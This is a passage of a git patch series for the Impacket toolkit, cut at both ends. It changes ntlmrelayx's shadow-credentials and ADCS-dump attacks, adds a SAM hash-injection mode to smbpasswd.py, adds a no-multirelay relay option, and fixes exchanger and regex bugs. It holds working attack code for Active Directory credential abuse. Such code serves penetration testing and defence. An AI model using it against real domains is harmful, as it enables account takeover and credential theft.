X509Certificate2(subject=self.config.ShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365)) + certificate = X509Certificate2(subject=currentShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365)) LOG.info("Certificate generated") LOG.info("Generating KeyCredential") keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=target_dn, currentTime=DateTime()) @@ -279,7 +281,7 @@ def shadowCredentialsAttack(self, domainDumper): return try: new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [keyCredential.toDNWithBinary().toString()] - LOG.info("Updating the msDS-KeyCredentialLink attribute of %s" % self.config.ShadowCredentialsTarget) + LOG.info("Updating the msDS-KeyCredentialLink attribute of %s" % currentShadowCredentialsTarget) self.client.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]}) if self.client.result['result'] == 0: LOG.info("Updated the msDS-KeyCredentialLink attribute of the target object") @@ -294,7 +296,7 @@ def shadowCredentialsAttack(self, domainDumper): LOG.info("Saved PEM private key at path: %s" % path + "_priv.pem") LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") LOG.info("Run the following command to obtain a TGT") - LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccache" % (path, path, domain, self.config.ShadowCredentialsTarget, path)) + LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccache" % (path, path, domain, currentShadowCredentialsTarget, path)) elif self.config.ShadowCredentialsExportType == "PFX": if self.config.ShadowCredentialsPFXPassword is None: password = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20)) @@ -306,8 +308,8 @@ def shadowCredentialsAttack(self, domainDumper): LOG.info("Must be used with password: %s" % password) LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") LOG.info("Run the following command to obtain a TGT") - LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccache" % (path, password, domain, self.config.ShadowCredentialsTarget, path)) - delegatePerformed.append(self.config.ShadowCredentialsTarget) + LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccache" % (path, password, domain, currentShadowCredentialsTarget, path)) + delegatePerformed.append(currentShadowCredentialsTarget) else: if self.client.result['result'] == 50: LOG.error('Could not modify object, the server reports insufficient rights: %s' % self.client.result['message']) From 275681da6b8ec3d5b1109fb657ebb8d09072f28b Mon Sep 17 00:00:00 2001 From: Martin Gallo Date: Wed, 9 Feb 2022 11:58:17 -0800 Subject: [PATCH 18/44] Fixed some escape warnings due to regex strings --- examples/psexec.py | 2 +- impacket/examples/secretsdump.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/examples/psexec.py b/examples/psexec.py index c16e02783c..68af23e7a2 100755 --- a/examples/psexec.py +++ b/examples/psexec.py @@ -284,7 +284,7 @@ def run(self): # Append new data to the buffer while there is data to read __stdoutOutputBuffer += stdout_ans - promptRegex = b'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$' + promptRegex = r'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$' endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None) if endsWithPrompt == True: diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index dc259563f2..a35f78d95d 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -1559,9 +1559,9 @@ def __printSecret(self, name, secretItem): extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8')) self.__secretItems.append(extrasecret) self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret) - elif re.match('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None: + elif re.match(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None: # Decode stored security questions - sid = re.search('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1) + sid = re.search(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1) try: strDecoded = secretItem.decode('utf-16le').replace('\xa0',' ') strDecoded = json.loads(strDecoded) From 96f5b7fa94b2cc1dfec4245774c16ec00d517895 Mon Sep 17 00:00:00 2001 From: Sam Free5ide Date: Sat, 26 Feb 2022 00:44:01 +0300 Subject: [PATCH 19/44] Add admin flag to smbpasswd.py --- examples/smbpasswd.py | 46 ++++++++++++++++++++++++++++++++------ impacket/dcerpc/v5/samr.py | 28 +++++++++++++++++++++-- 2 files changed, 65 insertions(+), 9 deletions(-) diff --git a/examples/smbpasswd.py b/examples/smbpasswd.py index 8199bc3c11..cff5d06c59 100755 --- a/examples/smbpasswd.py +++ b/examples/smbpasswd.py @@ -118,6 +118,30 @@ def hSamrChangePasswordUser(self): logging.error('Non-zero return code, something weird happened.') resp.dump() + def hSamrSetInformationUser(self): + try: + serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle'] + domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId'] + domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle'] + userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0] + userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle'] + except Exception as e: + if 'STATUS_NO_SUCH_DOMAIN' in str(e): + logging.critical('Wrong realm. Try to set the domain name for the target user account explicitly in format DOMAIN/username.') + return + else: + raise e + try: + resp = samr.hSamrSetNTInternal1(self.dce, userHandle, self.newPassword, self.newPwdHashNT) + except Exception as e: + raise e + else: + if resp['ErrorCode'] == 0: + logging.info('Credentials were injected into SAM successfully.') + else: + logging.error('Non-zero return code, something weird happened.') + resp.dump() + def init_logger(options): logger.init(options.ts) @@ -148,6 +172,10 @@ def parse_args(): group.add_argument('-altpass', action='store', default=None, help='alternative password') group.add_argument('-althash', action='store', default=None, help='alternative NT hash') + group = parser.add_argument_group('set credentials method') + group.add_argument('-admin', action='store_true', help='injects credentials into SAM (requires admin\'s priveleges on a machine, ' + 'but can bypass password history policy)') + return parser.parse_args() @@ -172,7 +200,7 @@ def parse_args(): oldPwdHashLM = '' oldPwdHashNT = '' - if oldPassword == '' and oldPwdHashNT == '': + if oldPassword == '' and oldPwdHashNT == '' and not options.admin: oldPassword = getpass('Current SMB password: ') if options.newhashes is not None: @@ -221,7 +249,7 @@ def parse_args(): if altUsername == '': smbpasswd.connect() else: - logging.debug('Using {}\\{} credetials to connect to RPC.'.format(altDomain, altUsername)) + logging.debug('Using {}\\{} credentials to connect to RPC.'.format(altDomain, altUsername)) smbpasswd.connect(altDomain, altUsername, altPassword, altNTHash) except Exception as e: if any(msg in str(e) for msg in ['STATUS_PASSWORD_MUST_CHANGE', 'STATUS_PASSWORD_EXPIRED']): @@ -237,9 +265,13 @@ def parse_args(): else: raise e - if newPassword: - # If using a plaintext value for the new password - smbpasswd.hSamrUnicodeChangePasswordUser2() + if options.admin: + # Inject credentials into SAM (requires admin's privileges) + smbpasswd.hSamrSetInformationUser() else: - # If using NTLM hashes for the new password - smbpasswd.hSamrChangePasswordUser() + if newPassword: + # If using a plaintext value for the new password + smbpasswd.hSamrUnicodeChangePasswordUser2() + else: + # If using NTLM hashes for the new password + smbpasswd.hSamrChangePasswordUser() diff --git a/impacket/dcerpc/v5/samr.py b/impacket/dcerpc/v5/samr.py index 12e01f2ea5..b26c0cd7c1 100644 --- a/impacket/dcerpc/v5/samr.py +++ b/impacket/dcerpc/v5/samr.py @@ -2912,7 +2912,7 @@ def hSamrSetPasswordInternal4New(dce, userHandle, password): request = SamrSetInformationUser2() request['UserHandle'] = userHandle request['UserInformationClass'] = USER_INFORMATION_CLASS.UserInternal4InformationNew - request['Buffer']['tag'] = USER_INFORMATION_CLASS.UserInternal4InformationNew + request['Buffer']['tag'] = USER_INFORMATION_CLASS.UserInternal4InformationNew request['Buffer']['Internal4New']['I1']['WhichFields'] = 0x01000000 | 0x08000000 request['Buffer']['Internal4New']['I1']['UserName'] = NULL @@ -2947,6 +2947,30 @@ def hSamrSetPasswordInternal4New(dce, userHandle, password): cipher = ARC4.new(key) buffercrypt = cipher.encrypt(pwdbuff) + salt - request['Buffer']['Internal4New']['UserPassword']['Buffer'] = buffercrypt return dce.request(request) + +def hSamrSetNTInternal1(dce, userHandle, password, hashNT=''): + request = SamrSetInformationUser() + request['UserHandle'] = userHandle + request['UserInformationClass'] = USER_INFORMATION_CLASS.UserInternal1Information + request['Buffer']['tag'] = USER_INFORMATION_CLASS.UserInternal1Information + + from impacket import crypto, ntlm + + if hashNT == '': + hashNT = ntlm.NTOWFv1(password) + else: + try: + hashNT = unhexlify(hashNT) + except: + pass + + session_key = dce.get_rpc_transport().get_smb_connection().getSessionKey() + + request['Buffer']['Internal1']['EncryptedNtOwfPassword'] = crypto.SamEncryptNTLMHash(hashNT, session_key) + request['Buffer']['Internal1']['EncryptedLmOwfPassword'] = NULL + request['Buffer']['Internal1']['NtPasswordPresent'] = 1 + request['Buffer']['Internal1']['LmPasswordPresent'] = 0 + + return dce.request(request) From 673424731d3187a9237d056d1241ce9a97469429 Mon Sep 17 00:00:00 2001 From: Sam Free5ide Date: Sat, 26 Feb 2022 01:12:05 +0300 Subject: [PATCH 20/44] Update commentary --- examples/smbpasswd.py | 5 ++++- impacket/dcerpc/v5/samr.py | 1 + 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/examples/smbpasswd.py b/examples/smbpasswd.py index cff5d06c59..f37af5f7c7 100755 --- a/examples/smbpasswd.py +++ b/examples/smbpasswd.py @@ -20,11 +20,13 @@ # smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' # smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb # smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' -altuser administrator -altpass 'Adm1nPassw0rd!' +# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/administrator -altpass 'Adm1nPassw0rd!' -admin # smbpasswd.py SRV01/administrator:'Passw0rd!'@10.10.13.37 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/SrvAdm -althash 6fe945ead39a7a6a2091001d98a913ab # # Author: -# @snovvcrash +# @snovvcrash # @bransh +# @alefburzmali # # References: # https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html @@ -33,6 +35,7 @@ # https://github.com/SecureAuthCorp/impacket/pull/381 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476 +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/538222f7-1b89-4811-949a-0eac62e38dce # import sys diff --git a/impacket/dcerpc/v5/samr.py b/impacket/dcerpc/v5/samr.py index b26c0cd7c1..5371f397e6 100644 --- a/impacket/dcerpc/v5/samr.py +++ b/impacket/dcerpc/v5/samr.py @@ -2961,6 +2961,7 @@ def hSamrSetNTInternal1(dce, userHandle, password, hashNT=''): if hashNT == '': hashNT = ntlm.NTOWFv1(password) else: + # Let's convert the hashes to binary form, if not yet try: hashNT = unhexlify(hashNT) except: From 8c6e2e1bbff283cc58c2e7b4faca519d6c938a1e Mon Sep 17 00:00:00 2001 From: SAERXCIT <78735647+SAERXCIT@users.noreply.github.com> Date: Tue, 8 Mar 2022 18:02:00 +0100 Subject: [PATCH 21/44] Only dump ADCS once --- impacket/examples/ntlmrelayx/attacks/ldapattack.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 9b16ee8725..519dd101e2 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -52,6 +52,7 @@ # Define global variables to prevent dumping the domain twice # and to prevent privilege escalating more than once dumpedDomain = False +dumpedAdcs = False alreadyEscalated = False alreadyAddedComputer = False delegatePerformed = [] @@ -664,13 +665,12 @@ def translate_sids(sids): LOG.info("Principals who can enroll using template `%s`: %s" % (entry["attributes"]["name"], ", ".join(("`" + sid_map[principal] + "`" for principal in enrollment_principals)))) - LOG.info("Done dumping ADCS info") - def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain + global dumpedAdcs # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig() @@ -834,8 +834,10 @@ def run(self): LOG.info("Successfully dumped %d gMSA passwords through relayed account %s" % (count, self.username)) fd.close() - if self.config.dumpadcs: + if not dumpedAdcs and self.config.dumpadcs: + dumpedAdcs = True self.dumpADCS() + LOG.info("Done dumping ADCS info") # Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': From 71a7c40610a19b3213e55d3dded3599d317163bf Mon Sep 17 00:00:00 2001 From: SAERXCIT <78735647+SAERXCIT@users.noreply.github.com> Date: Tue, 15 Mar 2022 16:18:55 +0100 Subject: [PATCH 22/44] more stable --- examples/ntlmrelayx.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 499555f14b..a4ca22745c 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -184,7 +184,7 @@ def start_servers(options, threads): s = server(c) s.start() threads.add(s) - sleep(0.001) + sleep(0.1) continue elif server is SMBRelayServer: From 081d951d715e89928ed8ed4224b5b2e177b48253 Mon Sep 17 00:00:00 2001 From: Arseniy Sharoglazov Date: Wed, 23 Mar 2022 01:16:50 +0300 Subject: [PATCH 23/44] Fixing a bug when the GAL doesn't exist --- examples/exchanger.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/examples/exchanger.py b/examples/exchanger.py index 78763347eb..f430a11b42 100755 --- a/examples/exchanger.py +++ b/examples/exchanger.py @@ -233,6 +233,8 @@ def __init__(self): self.__handler = None self.htable = {} + self.anyContainerID = 0 + self.props = list() self.stat = nspi.STAT() self.stat['CodePage'] = nspi.CP_TELETEX @@ -289,6 +291,9 @@ def _parse_and_set_htable(self, htable): for ab in htable: MId = ab[PR_EMS_AB_CONTAINERID] + if self.anyContainerID == 0 and MId != 0: + self.anyContainerID = NSPIAttacks._int_to_dword(MId) + self.htable[MId] = {} self.htable[MId]['flags'] = ab[PR_CONTAINER_FLAGS] @@ -444,6 +449,9 @@ def req_print_table_rows(self, table_MId=None, attrs=[], count=50, eTable=None, printOnlyGUIDs = False useAsExplicitTable = False + if self.anyContainerID == 0: + self.load_htable() + if table_MId == None and eTable == None: raise Exception("Wrong arguments!") elif table_MId != None and eTable != None: @@ -531,7 +539,7 @@ def req_print_table_rows(self, table_MId=None, attrs=[], count=50, eTable=None, eTableInt = eTable resp = nspi.hNspiQueryRows(self.__dce, self.__handler, - ContainerID=0, Count=count, pPropTags=attrs, lpETable=eTableInt) + ContainerID=self.anyContainerID, Count=count, pPropTags=attrs, lpETable=eTableInt) try: # Addressing to PropertyRowSet_r must be inside try / except, From efee5fa62a625c0b2ccf646b4038aa029dc81f8c Mon Sep 17 00:00:00 2001 From: Arseniy Sharoglazov Date: Wed, 23 Mar 2022 01:48:57 +0300 Subject: [PATCH 24/44] Fixing a bug in -lookup-type default value --- examples/exchanger.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/exchanger.py b/examples/exchanger.py index f430a11b42..a3f3449906 100755 --- a/examples/exchanger.py +++ b/examples/exchanger.py @@ -947,7 +947,7 @@ def localized_arg(bytestring): guid_known.add_argument('-output-file', action='store', help='Output filename') dnt_lookup = nspi_attacks.add_parser('dnt-lookup', formatter_class=SmartFormatter, help='Lookup Distinguished Name Tags') - dnt_lookup.add_argument('-lookup-type', choices=['EXTENDED', 'FULL', 'GUIDS'], nargs='?', default='MINIMAL', + dnt_lookup.add_argument('-lookup-type', choices=['EXTENDED', 'FULL', 'GUIDS'], nargs='?', default='EXTENDED', help='R|Lookup type:\n' ' EXTENDED - Request extended set of fields (default)\n' ' FULL - Request all fields for each row\n' From 5297ec64d123100121bd41a1d2cc74b7677bac59 Mon Sep 17 00:00:00 2001 From: Arseniy Sharoglazov Date: Wed, 23 Mar 2022 03:23:41 +0300 Subject: [PATCH 25/44] Fixing a bug when the GAL doesn't exist (2) --- examples/exchanger.py | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/examples/exchanger.py b/examples/exchanger.py index a3f3449906..6996194fba 100755 --- a/examples/exchanger.py +++ b/examples/exchanger.py @@ -233,7 +233,7 @@ def __init__(self): self.__handler = None self.htable = {} - self.anyContainerID = 0 + self.anyExistingContainerID = 0 self.props = list() self.stat = nspi.STAT() @@ -279,11 +279,17 @@ def load_htable(self): self._parse_and_set_htable(resp_simpl) - def load_htable_stat(self): + def load_htable_stat(self, onlyFillAnyExistingContainerID=False): for MId in self.htable: self.update_stat(MId) - self.htable[MId]['count'] = self.stat['TotalRecs'] - self.htable[MId]['start_mid'] = self.stat['CurrentRec'] + + if onlyFillAnyExistingContainerID == False: + self.htable[MId]['count'] = self.stat['TotalRecs'] + self.htable[MId]['start_mid'] = self.stat['CurrentRec'] + + if onlyFillAnyExistingContainerID and self.stat['CurrentRec'] > 0: + self.anyExistingContainerID = NSPIAttacks._int_to_dword(MId) + return def _parse_and_set_htable(self, htable): self.htable = {} @@ -291,9 +297,6 @@ def _parse_and_set_htable(self, htable): for ab in htable: MId = ab[PR_EMS_AB_CONTAINERID] - if self.anyContainerID == 0 and MId != 0: - self.anyContainerID = NSPIAttacks._int_to_dword(MId) - self.htable[MId] = {} self.htable[MId]['flags'] = ab[PR_CONTAINER_FLAGS] @@ -449,8 +452,9 @@ def req_print_table_rows(self, table_MId=None, attrs=[], count=50, eTable=None, printOnlyGUIDs = False useAsExplicitTable = False - if self.anyContainerID == 0: + if self.anyExistingContainerID == 0: self.load_htable() + self.load_htable_stat(onlyFillAnyExistingContainerID=True) if table_MId == None and eTable == None: raise Exception("Wrong arguments!") @@ -539,7 +543,7 @@ def req_print_table_rows(self, table_MId=None, attrs=[], count=50, eTable=None, eTableInt = eTable resp = nspi.hNspiQueryRows(self.__dce, self.__handler, - ContainerID=self.anyContainerID, Count=count, pPropTags=attrs, lpETable=eTableInt) + ContainerID=self.anyExistingContainerID, Count=count, pPropTags=attrs, lpETable=eTableInt) try: # Addressing to PropertyRowSet_r must be inside try / except, From 67f1cb26b5b870f23ff40ad42a6bcd68843c385b Mon Sep 17 00:00:00 2001 From: Arseniy Sharoglazov Date: Wed, 23 Mar 2022 03:38:26 +0300 Subject: [PATCH 26/44] Fixing a bug when the GAL doesn't exist (3) --- examples/exchanger.py | 25 ++++++++++++++++--------- 1 file changed, 16 insertions(+), 9 deletions(-) diff --git a/examples/exchanger.py b/examples/exchanger.py index 6996194fba..240b8fb198 100755 --- a/examples/exchanger.py +++ b/examples/exchanger.py @@ -233,7 +233,7 @@ def __init__(self): self.__handler = None self.htable = {} - self.anyExistingContainerID = 0 + self.anyExistingContainerID = -1 self.props = list() self.stat = nspi.STAT() @@ -279,15 +279,23 @@ def load_htable(self): self._parse_and_set_htable(resp_simpl) - def load_htable_stat(self, onlyFillAnyExistingContainerID=False): + def load_htable_stat(self): for MId in self.htable: self.update_stat(MId) + self.htable[MId]['count'] = self.stat['TotalRecs'] + self.htable[MId]['start_mid'] = self.stat['CurrentRec'] - if onlyFillAnyExistingContainerID == False: - self.htable[MId]['count'] = self.stat['TotalRecs'] - self.htable[MId]['start_mid'] = self.stat['CurrentRec'] + def load_htable_containerid(self): + if self.anyExistingContainerID != -1: + return + + if self.htable == {}: + self.load_htable() - if onlyFillAnyExistingContainerID and self.stat['CurrentRec'] > 0: + for MId in self.htable: + self.update_stat(MId) + + if self.stat['CurrentRec'] > 0: self.anyExistingContainerID = NSPIAttacks._int_to_dword(MId) return @@ -452,9 +460,8 @@ def req_print_table_rows(self, table_MId=None, attrs=[], count=50, eTable=None, printOnlyGUIDs = False useAsExplicitTable = False - if self.anyExistingContainerID == 0: - self.load_htable() - self.load_htable_stat(onlyFillAnyExistingContainerID=True) + if self.anyExistingContainerID == -1: + self.load_htable_containerid() if table_MId == None and eTable == None: raise Exception("Wrong arguments!") From b47715b8422d1fe735ad0d994003b57090b9fd55 Mon Sep 17 00:00:00 2001 From: SAERXCIT <78735647+SAERXCIT@users.noreply.github.com> Date: Wed, 23 Mar 2022 13:42:00 +0100 Subject: [PATCH 27/44] Escape ADCS template names in LDAP query --- impacket/examples/ntlmrelayx/attacks/ldapattack.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 519dd101e2..baa6468126 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -651,7 +651,7 @@ def translate_sids(sids): certificate_template_attributes = ["msPKI-Enrollment-Flag", "name", "nTSecurityDescriptor", "pKIExtendedKeyUsage"] self.client.search("CN=Certificate Templates,CN=Public Key Services,CN=Services," + configuration_naming_context, - "(&(objectClass=pKICertificateTemplate)(|%s))" % "".join(("(name=" + tpl + ")" for tpl in offered_templates)), + "(&(objectClass=pKICertificateTemplate)(|%s))" % "".join(("(name=" + escape_filter_chars(tpl) + ")" for tpl in offered_templates)), search_scope=ldap3.LEVEL, attributes=certificate_template_attributes, controls=security_descriptor_control(sdflags=0x04)) From ff32269707df18ef672d6e1036ba647331e91c13 Mon Sep 17 00:00:00 2001 From: Martin Gallo Date: Wed, 23 Mar 2022 18:04:07 -0300 Subject: [PATCH 28/44] Added a very simple workflow to automatically label new PRs (#1286) --- .github/labeler.yml | 24 ++++++++++++++++++++++++ .github/workflows/labeler.yml | 15 +++++++++++++++ 2 files changed, 39 insertions(+) create mode 100644 .github/labeler.yml create mode 100644 .github/workflows/labeler.yml diff --git a/.github/labeler.yml b/.github/labeler.yml new file mode 100644 index 0000000000..8e001a4916 --- /dev/null +++ b/.github/labeler.yml @@ -0,0 +1,24 @@ +# Rules to label Pull Requests +version: 1 +labels: + - label: "Examples" + files: + - "examples/.*" + - label: "Library" + files: + - "impacket/.*" + - label: "CI/CD & Tests" + files: + - "tests/.*" + - "tox.ini" + - "Dockerfile" + - ".github/.*" + - label: "Setup" + files: + - "setup.py" + - "requirements*.txt" + - "MANIFEST.in" + - label: "Docs" + files: + - "*.md" + - "LICENSE" diff --git a/.github/workflows/labeler.yml b/.github/workflows/labeler.yml new file mode 100644 index 0000000000..3d820a859d --- /dev/null +++ b/.github/workflows/labeler.yml @@ -0,0 +1,15 @@ +# GitHub Action workflow to label Pull Requests +# + +name: Label PRs + +on: + - pull_request + +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: srvaroa/labeler@master + env: + GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}" From a168273cb88ce9f2b6b00e0324352e683c8d78ac Mon Sep 17 00:00:00 2001 From: 0xdeaddood Date: Wed, 30 Mar 2022 20:14:01 -0300 Subject: [PATCH 29/44] NTLMrelayx: Added a no-multirelay option There are some scenarios where the multi-relay approach doesn't work. In those cases, it's very helpful to have an option that disables this capability. - Added a no-multirelay flag in ntlmrelayx.py. Modified the smbrelayserver.py flow. This extends PR#1273. - Modified the target processing in targetsutils.py --- examples/ntlmrelayx.py | 10 +++---- .../ntlmrelayx/servers/smbrelayserver.py | 28 ++++++++++++------- .../examples/ntlmrelayx/utils/targetsutils.py | 13 +++++++-- impacket/smb.py | 2 +- 4 files changed, 35 insertions(+), 18 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index ee8a70fa5c..2ccb0bbc7a 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -147,7 +147,7 @@ def start_servers(options, threads): c.setExeFile(options.e) c.setCommand(options.c) c.setEnumLocalAdmins(options.enum_local_admins) - c.setDisableMulti(options.disable_multi) + c.setDisableMulti(options.no_multirelay) c.setEncoding(codec) c.setMode(mode) c.setAttacks(PROTOCOL_ATTACKS) @@ -244,6 +244,7 @@ def stop_servers(threads): parser.add_argument('--wcf-port', type=int, help='Port to listen on wcf server', default=9389) # ADWS parser.add_argument('--raw-port', type=int, help='Port to listen on raw server', default=6666) + parser.add_argument('--no-multirelay', action="store_true", required=False, help='If set, disable multi-host relay (SMB and HTTP servers)') parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection') parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot ' @@ -258,7 +259,6 @@ def stop_servers(threads): parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support') parser.add_argument('-ntlmchallenge', action="store", default=None, help='Specifies the NTLM server challenge used by the ' 'SMB Server (16 hex bytes long. eg: 1122334455667788)') - parser.add_argument('-socks', action='store_true', default=False, help='Launch a SOCKS proxy for the connection relayed') parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, ' @@ -268,9 +268,6 @@ def stop_servers(threads): parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4') parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients') - parser.add_argument('--disable-multi', action="store_true", required=False, help='If set, disable multi-host relay') - - parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' 'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be' ' in the same directory). For RPC no output will be provided.') @@ -372,6 +369,9 @@ def stop_servers(threads): logging.info("Running in relay mode to single host") mode = 'RELAY' targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) + # Disabling multirelay feature (Single host + general candidate) + if targetSystem.generalCandidates: + options.no_multirelay = True else: if options.tf is not None: #Targetfile specified diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index d91d7d470f..261c11d72c 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -35,13 +35,14 @@ from binascii import hexlify, unhexlify from six import b from impacket import smb, ntlm, LOG, smb3 -from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS, STATUS_NETWORK_SESSION_EXPIRED +from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS, STATUS_NETWORK_SESSION_EXPIRED, STATUS_BAD_NETWORK_NAME from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile from impacket.spnego import ASN1_AID, MechTypes, ASN1_SUPPORTED_MECH from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor from impacket.smbserver import getFileTime, decodeSMBString, encodeSMBString +from impacket.smb3structs import SMB2Error class SMBRelayServer(Thread): def __init__(self,config): @@ -128,14 +129,17 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): respPacket['SessionID'] = 0 if self.config.disableMulti: - if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) - self.target = self.targetprocessor.getTarget() + + self.target = self.targetprocessor.getTarget(multiRelay=False) + if self.target is None: + LOG.info('SMBD-%s: Connection from %s controlled, but there are no more targets left!' % + (connId, connData['ClientIP'])) + return [SMB2Error()], None, STATUS_BAD_NETWORK_NAME LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) - try: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection @@ -477,7 +481,11 @@ def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) - self.target = self.targetprocessor.getTarget() + self.target = self.targetprocessor.getTarget(multiRelay=False) + if self.target is None: + LOG.info('SMBD-%s: Connection from %s controlled, but there are no more targets left!' % + (connId, connData['ClientIP'])) + return [smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)], None, 